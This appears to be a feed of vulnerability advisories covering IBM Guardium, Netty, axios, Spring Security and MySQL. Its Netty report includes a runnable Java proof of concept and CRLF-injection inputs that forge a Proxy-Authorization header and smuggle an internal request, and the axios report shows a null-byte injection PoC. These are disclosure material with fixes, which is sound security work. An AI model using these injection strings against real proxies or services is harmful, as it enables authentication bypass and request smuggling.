IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a local attacker to obtain sensitive information due to cleartext storage of sensitive information in logs.
IBM Guardium Data Protection 12.2 could allow an administrative user to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions) | | Component | io.netty.handler.proxy.HttpProxyHandler | | Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | Impact | HTTP Header Injection in CONNECT Proxy Requests | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
- io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, url, Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) { req.headers().set(HttpHeaderNames.PROXYAUTHORIZATION, authorization); }
if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }
return req; }
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided outboundHeaders are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses HttpProxyHandler with user-influenced outboundHeaders 2. The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format: CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.; import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();
System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } }
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r
Injected X-Admin header in wire: true VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); }
8. Resources
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (incomplete fix — this report) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary
The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21
CWE
- CWE-626: Null Byte Interaction Error (Poison Null Byte) - CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1
Score: 3.7 (Low)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact |
Vulnerable Code
File: lib/helpers/AxiosURLSearchParams.js, lines 13-26
javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); }
Why the Standard Flow Is NOT Affected
javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const encode = (options && options.encode) || encode; // buildURL's encode
// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, options).toString(encode); // external encoder used
// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it
Proof of Concept
javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js';
// Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte)
// Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true
Impact Analysis
Primary impact is limited because the standard axios request flow is not affected. However:
- Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected - Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case
If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.
Recommended Fix
Remove the %00 entry from charMap and update the regex:
javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); }
Resources
- CWE-626: Null Byte Interaction Error - CWE-116: Improper Encoding or Escaping of Output - OWASP: Embedding Null Code - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory |
Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked.This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).